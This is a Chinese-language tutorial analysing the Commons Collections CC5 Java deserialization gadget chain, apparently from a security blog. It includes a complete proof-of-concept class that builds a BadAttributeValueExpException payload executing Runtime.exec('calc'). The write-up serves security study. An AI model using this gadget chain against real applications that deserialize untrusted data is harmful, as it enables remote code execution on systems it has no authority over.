CommonsCollections5利用链分析
原理
回顾一下CC6利用链,在CC6的利用链中,是使用了HashMap类在计算hash值时调用 key.hashCode()
的方式,然后我们让这里的key为TiedMapEntry类对象,调用TiedMapEntry的hashCode()
走到getValue()
方法,最终回到CC1链中的LazyMap.get()
方法调用中,进而又到了喜闻乐见的Transformer.transform()
的调用链。
但是这里的CC5并没有使用HashMap.readObject
方法去作为调用链的入口,而是使用了BadAttributeValueExpException.readObject()
作为链的入口,不过都殊途同归走到LazyMap.get()
方法。
代码分析
原理部分说了CC5链的入口是BadAttributeValueExpException类的readObject()
:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以发现,该方法先获取了名字为val的对象,然后调用该对象的toString()
方法。
这时候把眼光投到CC6链中的TiedMapRntry类,它的toString()
方法,调用了getValue()
:
public String toString() {
return getKey() + "=" + getValue();
}
到这里是不是很熟悉了,没错这里就已经走到了CC6链中,大呼:CC5不就是换了个入口而已嘛!!
构造POC:
- 先把CC6中的后半部分原封不动搬过来
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
- 创建BadAttributeValueExpException对象,并且用反射去设置它的val属性为构造好的TiedMapEntry对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", tme);
- 最后把真正的Transformer数组放回到ChainedTransformer对象中
setFieldValue(transformerChain, "iTransformers", transformers);
完整POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fileNmae);
field.setAccessible(true);
field.set(obj,value);
}
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[]{ null, new Object[0]} ),
new InvokerTransformer("exec",
new Class[] { String.class },
new String[] { "calc" }),
new ConstantTransformer(1),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", tme);
setFieldValue(transformerChain, "iTransformers", transformers);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
运行效果:
总结